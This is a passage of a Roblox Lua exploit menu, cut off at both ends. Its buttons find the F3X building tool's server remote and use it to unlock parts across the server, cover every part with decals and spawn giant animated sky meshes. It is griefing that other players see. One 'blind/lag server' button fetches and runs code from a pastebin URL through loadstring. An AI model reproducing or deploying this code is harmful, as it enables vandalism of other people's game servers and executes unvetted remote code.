				e = char.HumanoidRootPart.CFrame.x
				f = char.HumanoidRootPart.CFrame.y
				g = char.HumanoidRootPart.CFrame.z
				CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
				for i,v in game.Workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
						--spawn(function()
						SetName(v,"Sky")
						AddMesh(v)
						--end)
						--spawn(function()
						SetMesh(v,"111891702759441")
						SetTexture(v,id)
						--end)
						MeshResize(v,Vector3.new(99999,99999,99999))
						SetLocked(v,true)
					end
				end
			end
			Sky("132578977273720")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.5, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "spongebob decal"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function spam(id)
				for i,v in game.workspace:GetDescendants() do
					if v:IsA("BasePart") then
						spawn(function()
							SetLocked(v,false)
							SpawnDecal(v,Enum.NormalId.Front)
							AddDecal(v,id,Enum.NormalId.Front)
	
							SpawnDecal(v,Enum.NormalId.Back)
							AddDecal(v,id,Enum.NormalId.Back)
	
							SpawnDecal(v,Enum.NormalId.Right)
							AddDecal(v,id,Enum.NormalId.Right)
	
							SpawnDecal(v,Enum.NormalId.Left)
							AddDecal(v,id,Enum.NormalId.Left)
	
							SpawnDecal(v,Enum.NormalId.Bottom)
							AddDecal(v,id,Enum.NormalId.Bottom)
	
							SpawnDecal(v,Enum.NormalId.Top)
							AddDecal(v,id,Enum.NormalId.Top)
						end)
					end
				end
			end
			spam("132578977273720")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.5, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Get out frog sky"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
			-- Epik skeleton dancing F3X By ItsKittyyyGD
	
			local player = game.Players.LocalPlayer
			local char = player.Character or player.CharacterAdded:Wait()
			local tool
	
			for i, v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
	
			for i, v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
	
			local remote = tool.SyncAPI.ServerEndpoint
			local RunService = game:GetService("RunService")
	
			function _(args)
				remote:InvokeServer(unpack(args))
			end
	
			function CreatePart(cf, parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
	
			function SetAnchor(part, boolean)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
	
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part, meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://" .. meshid
						}
					}
				}
				_(args)
			end
	
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = texid
						}
					}
				}
				_(args)
			end
	
			function MeshResize(part, size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
	
			function SetTransparency(part, value)
				local args = {
					[1] = "SyncTransparency",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = value
						}
					}
				}
				_(args)
			end
	
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
	
			local images = {
				"http://www.roblox.com/asset/?id=88387114383441",
				"http://www.roblox.com/asset/?id=80307658796395",
				"http://www.roblox.com/asset/?id=89698227663709",
				"http://www.roblox.com/asset/?id=94071530336475",
				"http://www.roblox.com/asset/?id=132128840663861",
				"http://www.roblox.com/asset/?id=73640982883614"
			}
	
			local skyPart
			local skyLoop
			local frameTime = 1 / 10
			local lastUpdate = 0
	
			function CreateSky()
				local hrp = char:FindFirstChild("HumanoidRootPart")
				if not hrp then return end
	
				local cf = hrp.CFrame
				CreatePart(CFrame.new(cf.Position + Vector3.new(0, 80, 0)), workspace)
	
				for _, v in workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 80, 0) then
						skyPart = v
						SetAnchor(skyPart, true)
						AddMesh(skyPart)
						SetMesh(skyPart, "111891702759441")
						MeshResize(skyPart, Vector3.new(99999, 99999, 99999))
						SetTransparency(skyPart, 1)
	
						local index = 1
						skyLoop = RunService.Heartbeat:Connect(function(deltaTime)
							lastUpdate = lastUpdate + deltaTime
							if lastUpdate >= frameTime then
								lastUpdate = 0
								if not skyPart then
									skyLoop:Disconnect()
									return
								end
								SetTransparency(skyPart, 0)
								SetTexture(skyPart, images[index])
								index = index % #images + 1
							end
						end)
					end
				end
			end
	
			function ResetSky()
				if skyPart then
					DestroyPart(skyPart)
					skyPart = nil
				end
				if skyLoop then
					skyLoop:Disconnect()
					skyLoop = nil
				end
				CreateSky()
			end
	
			player.CharacterAdded:Connect(function(newChar)
				char = newChar
				ResetSky()
			end)
	
			if char and char:FindFirstChild("Humanoid") then
				char:WaitForChild("Humanoid").Died:Connect(function()
					ResetSky()
				end)
			end
	
			CreateSky()
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.5, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "pbj sky"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
			-- Epik skeleton dancing F3X By ItsKittyyyGD
	
			local player = game.Players.LocalPlayer
			local char = player.Character or player.CharacterAdded:Wait()
			local tool
	
			for i, v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
	
			for i, v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
	
			local remote = tool.SyncAPI.ServerEndpoint
			local RunService = game:GetService("RunService")
	
			function _(args)
				remote:InvokeServer(unpack(args))
			end
	
			function CreatePart(cf, parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
	
			function SetAnchor(part, boolean)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
	
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part, meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://" .. meshid
						}
					}
				}
				_(args)
			end
	
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = texid
						}
					}
				}
				_(args)
			end
	
			function MeshResize(part, size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
	
			function SetTransparency(part, value)
				local args = {
					[1] = "SyncTransparency",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = value
						}
					}
				}
				_(args)
			end
	
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
	
			local images = {
				"http://www.roblox.com/asset/?id=93445426456236",
				"http://www.roblox.com/asset/?id=118193329351893",
				"http://www.roblox.com/asset/?id=102452647768643",
				"http://www.roblox.com/asset/?id=126774820251277",
				"http://www.roblox.com/asset/?id=124372039754034",
				"http://www.roblox.com/asset/?id=103051446442176",
				"http://www.roblox.com/asset/?id=86468268513228",
				"http://www.roblox.com/asset/?id=131728081878279"
			}
	
			local skyPart
			local skyLoop
			local frameTime = 1 / 10
			local lastUpdate = 0
	
			function CreateSky()
				local hrp = char:FindFirstChild("HumanoidRootPart")
				if not hrp then return end
	
				local cf = hrp.CFrame
				CreatePart(CFrame.new(cf.Position + Vector3.new(0, 80, 0)), workspace)
	
				for _, v in workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 80, 0) then
						skyPart = v
						SetAnchor(skyPart, true)
						AddMesh(skyPart)
						SetMesh(skyPart, "111891702759441")
						MeshResize(skyPart, Vector3.new(99999, 99999, 99999))
						SetTransparency(skyPart, 1)
	
						local index = 1
						skyLoop = RunService.Heartbeat:Connect(function(deltaTime)
							lastUpdate = lastUpdate + deltaTime
							if lastUpdate >= frameTime then
								lastUpdate = 0
								if not skyPart then
									skyLoop:Disconnect()
									return
								end
								SetTransparency(skyPart, 0)
								SetTexture(skyPart, images[index])
								index = index % #images + 1
							end
						end)
					end
				end
			end
	
			function ResetSky()
				if skyPart then
					DestroyPart(skyPart)
					skyPart = nil
				end
				if skyLoop then
					skyLoop:Disconnect()
					skyLoop = nil
				end
				CreateSky()
			end
	
			player.CharacterAdded:Connect(function(newChar)
				char = newChar
				ResetSky()
			end)
	
			if char and char:FindFirstChild("Humanoid") then
				char:WaitForChild("Humanoid").Died:Connect(function()
					ResetSky()
				end)
			end
	
			CreateSky()
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.5, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "blind/lag server"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			loadstring(game:HttpGet("https://pastebin.com/raw/70bB4R5J"))()
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.54, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "skeleton sky"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
			-- Epik skeleton dancing F3X By ItsKittyyyGD
	
			local player = game.Players.LocalPlayer
			local char = player.Character or player.CharacterAdded:Wait()
			local tool
	
			for i, v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
	
			for i, v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
	
			local remote = tool.SyncAPI.ServerEndpoint
			local RunService = game:GetService("RunService")
	
			function _(args)
				remote:InvokeServer(unpack(args))
			end
	
			function CreatePart(cf, parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
	
			function SetAnchor(part, boolean)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
	
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part, meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://" .. meshid
						}
					}
				}
				_(args)
			end
	
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = texid
						}
					}
				}
				_(args)
			end
	
			function MeshResize(part, size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
	
			function SetTransparency(part, value)
				local args = {
					[1] = "SyncTransparency",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = value
						}
					}
				}
				_(args)
			end
	
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
	
			local images = {
				"http://www.roblox.com/asset/?id=169585459",
				"http://www.roblox.com/asset/?id=169585475",
				"http://www.roblox.com/asset/?id=169585485",
				"http://www.roblox.com/asset/?id=169585502",
				"http://www.roblox.com/asset/?id=169585515",
				"http://www.roblox.com/asset/?id=169585502",
				"http://www.roblox.com/asset/?id=169585485",
				"http://www.roblox.com/asset/?id=169585475"
			}
	
			local skyPart
			local skyLoop
			local frameTime = 1 / 10
			local lastUpdate = 0
	
			function CreateSky()
				local hrp = char:FindFirstChild("HumanoidRootPart")
				if not hrp then return end
	
				local cf = hrp.CFrame
				CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)), workspace)
	
				for _, v in workspace:GetDescendants() do
					if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
						skyPart = v
						SetAnchor(skyPart, true)
						AddMesh(skyPart)
						SetMesh(skyPart, "111891702759441")
						MeshResize(skyPart, Vector3.new(99999, 99999, 99999))
						SetTransparency(skyPart, 1)
	
						local index = 1
						skyLoop = RunService.Heartbeat:Connect(function(deltaTime)
							lastUpdate = lastUpdate + deltaTime
							if lastUpdate >= frameTime then
								lastUpdate = 0
								if not skyPart then
									skyLoop:Disconnect()
									return
								end
								SetTransparency(skyPart, 0)
								SetTexture(skyPart, images[index])
								index = index % #images + 1
							end
						end)
					end
				end
			end
	
			function ResetSky()
				if skyPart then
					DestroyPart(skyPart)
					skyPart = nil
				end
				if skyLoop then
					skyLoop:Disconnect()
					skyLoop = nil
				end
				CreateSky()
			end
	
			player.CharacterAdded:Connect(function(newChar)
				char = newChar
				ResetSky()
			end)
	
			if char and char:FindFirstChild("Humanoid") then
				char:WaitForChild("Humanoid").Died:Connect(function()
					ResetSky()
				end)
			end
	
			CreateSky()
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.54, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Skeleton decal"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function spam(id)
				for i,v in game.workspace:GetDescendants() do
					if v:IsA("BasePart") then
						spawn(function()
							SetLocked(v,false)
							SpawnDecal(v,Enum.NormalId.Front)
							AddDecal(v,id,Enum.NormalId.Front)
	
							SpawnDecal(v,Enum.NormalId.Back)
							AddDecal(v,id,Enum.NormalId.Back)
	
							SpawnDecal(v,Enum.NormalId.Right)
							AddDecal(v,id,Enum.NormalId.Right)
	
							SpawnDecal(v,Enum.NormalId.Left)
							AddDecal(v,id,Enum.NormalId.Left)
	
							SpawnDecal(v,Enum.NormalId.Bottom)
							AddDecal(v,id,Enum.NormalId.Bottom)
	
							SpawnDecal(v,Enum.NormalId.Top)
							AddDecal(v,id,Enum.NormalId.Top)
						end)
					end
				end
			end
			spam("169585459")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.54, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Sky 3"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
